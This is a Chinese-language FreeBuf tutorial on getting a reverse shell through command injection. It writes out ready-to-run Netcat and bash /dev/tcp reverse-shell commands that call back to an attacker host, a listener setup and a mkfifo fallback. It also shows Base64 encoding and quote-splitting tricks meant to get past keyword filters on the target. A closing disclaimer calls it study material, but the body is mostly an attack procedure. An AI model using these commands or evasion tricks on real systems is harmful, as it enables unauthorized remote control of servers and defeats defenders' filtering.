freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程
2025-03-07 12:53:17
所属地 贵州省

绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程

1. 背景知识

在渗透测试或命令注入攻击中,目标服务器可能会有关键字过滤(比如ncbash/bin/sh等)。为了绕过检测,我们可以使用 Base64 编码,把真正的命令隐藏起来,并让目标服务器解码执行。

目标:

  1. 在攻击者机器(你自己的电脑)上监听端口,等待目标服务器反向连接。

  2. 在目标服务器上执行 Netcat 反弹 Shell 命令,把 Shell 发送到你的监听端口。

  3. 如果服务器有关键字检测,就用 Base64 编码绕过。

2. 反弹 Shell 的基础方法(无编码)

最基础的 Netcat 反弹 Shell 命令是:

nc -nv 攻击者IP 1234 -e /bin/bash

其中:

  • -n不进行 DNS 解析,加快连接速度。

  • -v显示详细信息(可选)。

  • 攻击者IP是你的 IP(监听端机器)。

  • -e /bin/bash让 Netcat 把 Bash Shell 绑定到 TCP 连接上。

示例

攻击者机器监听:

nc -nvlp 1234

目标服务器执行反弹 Shell 命令:

nc -nv 192.168.1.100 1234 -e /bin/bash

如果连接成功,你在nc -nvlp 1234的窗口里会获得一个远程 Shell。

3. 目标服务器有关键字检测,如何绕过?

(1)先在本地进行 Base64 编码

不能直接输入nc -nv 192.168.1.100 1234 -e /bin/bash,否则可能被拦截,所以先进行 Base64 编码:

echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64

输出示例:

bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g=

(2)在目标服务器执行 Base64 方式的反弹 Shell

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d | bash

该命令的作用:

  1. echo "Base64编码字符串":输出 Base64 版本的命令。

  2. base64 -d:解码回原来的nc -nv 192.168.1.100 1234 -e /bin/bash

  3. bash:执行解码后的命令。

如果执行成功,目标服务器会尝试连接192.168.1.100:1234,并且你在攻击者机器上的nc -nvlp 1234监听窗口会收到一个 Shell。

4. 绕过更严格的检测

(1)分块 Base64 解码

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h

或者:

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | /b''i''n/sh

(2)使用$(echo xxx | base64 -d)方式

bash -c "$(echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d)"

这样bash -c负责执行括号里的命令。

5. 如何判断目标服务器支持 Base64?

echo "dGVzdA==" | base64 -d

如果返回test,说明base64是可用的。

6. 可能遇到的问题

(1)目标服务器没有nc

如果nc不可用,尝试使用 Bash 自带的 TCP 反弹:

bash -i >& /dev/tcp/192.168.1.100/1234 0>&1

然后同样可以 Base64 编码:

echo -n "bash -i >& /dev/tcp/192.168.1.100/1234 0>&1" | base64

目标服务器执行:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash

(2)目标服务器无法连接你的监听端口

可能的原因:

  • 服务器的防火墙阻止了出站连接。

  • 你的监听端口(1234)被防火墙拦截(关闭防火墙或换个端口)。

  • 服务器的nc版本不支持-e选项,可以尝试mkfifo方式:

mkfifo /tmp/backpipe
/bin/sh 0</tmp/backpipe | nc 192.168.1.100 1234 1>/tmp/backpipe

再用 Base64 编码执行。

7. 总结

监听端(你的电脑):

nc -nvlp 1234

在本地编码 Netcat 反弹 Shell 命令:

echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64

在目标服务器执行 Base64 反弹 Shell:

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h

如果nc被禁用,尝试 Bash 反弹:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash

这样你每次遇到命令注入、关键字过滤或者反弹 Shell 的时候,就可以按照这个流程一步步分析并尝试不同的方法!

8. 免责声明

本文章仅用于技术研究与网络安全学习,旨在帮助用户提高安全意识,防范潜在的网络威胁。所有内容均基于合法合规的测试环境,任何组织或个人不得将其用于非法用途,否则由使用者自行承担法律责任。本文作者不承担因使用本工具导致的任何直接或间接后果。

# 网络安全 # web安全 # 网络安全技术 # netcat
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录